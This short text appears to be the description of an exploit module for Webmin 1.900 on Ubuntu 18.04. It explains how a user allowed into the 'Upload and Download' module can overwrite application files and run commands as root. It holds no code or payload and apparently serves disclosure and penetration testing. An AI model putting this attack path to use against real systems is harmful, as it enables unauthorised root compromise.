Any user authorized to the "Upload and Download" module can execute arbitrary commands with root privileges. In addition, if the 'Running Processes' (proc) privilege is set the user can accurately determine which directory to upload to. Webmin application files can be written/overwritten, which allows remote code execution. The module has been tested successfully with Webmin 1.900 on Ubuntu v18.04.
